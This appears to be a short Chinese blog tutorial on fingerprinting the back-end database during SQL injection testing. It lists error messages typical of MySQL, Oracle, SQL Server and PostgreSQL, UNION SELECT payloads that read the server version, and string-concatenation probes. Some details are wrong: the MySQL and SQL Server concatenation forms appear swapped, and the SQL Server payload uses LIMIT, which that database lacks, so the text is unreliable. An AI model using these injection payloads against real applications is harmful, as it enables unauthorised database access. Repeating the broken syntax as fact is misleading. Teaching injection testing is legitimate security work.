2019独角兽企业重金招聘Python工程师标准>>> ![]()
即使sql语言是标准的,每一种数据库有自己的特点,在很多方面都是不同的,比如,提取数据(用户名和数据库,特征,注释)的命令和函数都是不同的。
当测试人员转向更高级的SQL注入开发时,他们需要知道后端数据库是什么。
1、第一种寻找后台使用的数据库的方法是,通过应用返回的错误来发现。下面就是一些错误信息的示例:
MySql:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1
一个完整的利用version()函数进行的联合查询也能够帮助了解后台数据库。
SELECT id, name FROM users WHERE id=1 UNION SELECT 1, version() limit 1,1
Oracle:
ORA-00933: SQL command not properly ended
MS SQL Server:
Microsoft SQL Native Client error ‘80040e14’
Unclosed quotation mark after the character string
SELECT id, name FROM users WHERE id=1 UNION SELECT 1, @@version limit 1, 1
PostgreSQL:
Query failed: ERROR: syntax error at or near "’" at character 56 in /www/site/test.php on line 121.
2、如果没有错误消息或自定义错误消息,测试人员可以尝试使用不同的连接技术将其注入字符串字段:
MySql: ‘test’ + ‘ing’
SQL Server: ‘test’ ‘ing’
Oracle: ‘test’||’ing’
PostgreSQL: ‘test’||’ing’